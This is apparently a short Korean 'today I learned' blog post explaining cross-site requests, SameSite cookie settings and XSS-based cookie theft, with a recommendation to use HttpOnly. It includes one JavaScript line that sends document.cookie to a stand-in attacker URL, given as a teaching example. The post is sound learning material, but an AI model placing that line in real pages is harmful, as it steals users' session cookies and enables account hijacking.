본문 바로가기
Today I learned

2020 10 25

by soheemon 2020. 10. 25.

cross-site requests

예를들어 사용자가 뽀삐홈쇼핑이라는 페이지에 방문했다고 가정하자.

domain: 뽀삐홈쇼핑.com

하지만, 뽀삐홈쇼핑은 트래킹솔루션을 사용하고 있기때문에, 브라우저로 하여금 사용자의 데이터를 골골.com로 전송하게 한다.

이처럼 사용자가 접속중인 도메인과 다른 사이트로 request를 날리는경우를 cross-site request라고 하는것같다.

 

SameSite는 cross-site requests에 대해 브라우저가 쿠키를 전송하는것을 설정할 수 있다.

- Strict: 뽀삐홈쇼핑.com로 전송하는 request에만 쿠키를 포함하여 전송한다.

- lax: 사용자가 뽀삐홈쇼핑.com내에서 외부 Link를 클릭했을때에만 request에 쿠키를 포함하여 전송한다.

- None: 골골.com으로 전송되는 모든 요청에 대해 쿠키를 포함하여 전송한다.

 

숨겨진 <iframe>요소를 만든 다음 이 iframe의 속성에 액세스 하여 DOM을 사용하여 쉽게 우회할 수 있다. ()쿠키를 보호하는 유일한 방법은 Same-origin policy을 사용하는것이다.

// XSS 취약점 악용

// 뽀삐홈쇼핑.com에 야옹이.com은 악의를 가지고 광고를 넣었다. 만약 cookie에 인증과 관련된 값이 있다면..?
// 쿠키를 훔치는것은 인증된 사용자의 세션을 납치하는것으로 이어질것이다.

// 세션과 관련된 중요한 값은 HTTPOnly속성을 사용하여 JS로 접근을 방지하자.
(new Image()).src = "http://야옹이.com/steal-cookie.php?cookie=" + document.cookie;

developer.mozilla.org/en-US/docs/Web/API/Document/cookie

developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html

'Today I learned' 카테고리의 다른 글

2020 10 29  (0) 2020.10.29
2020 10 26  (0) 2020.10.26
2020 10 24  (0) 2020.10.24
2020 10 21  (0) 2020.10.21
2020 10 16  (0) 2020.10.16

댓글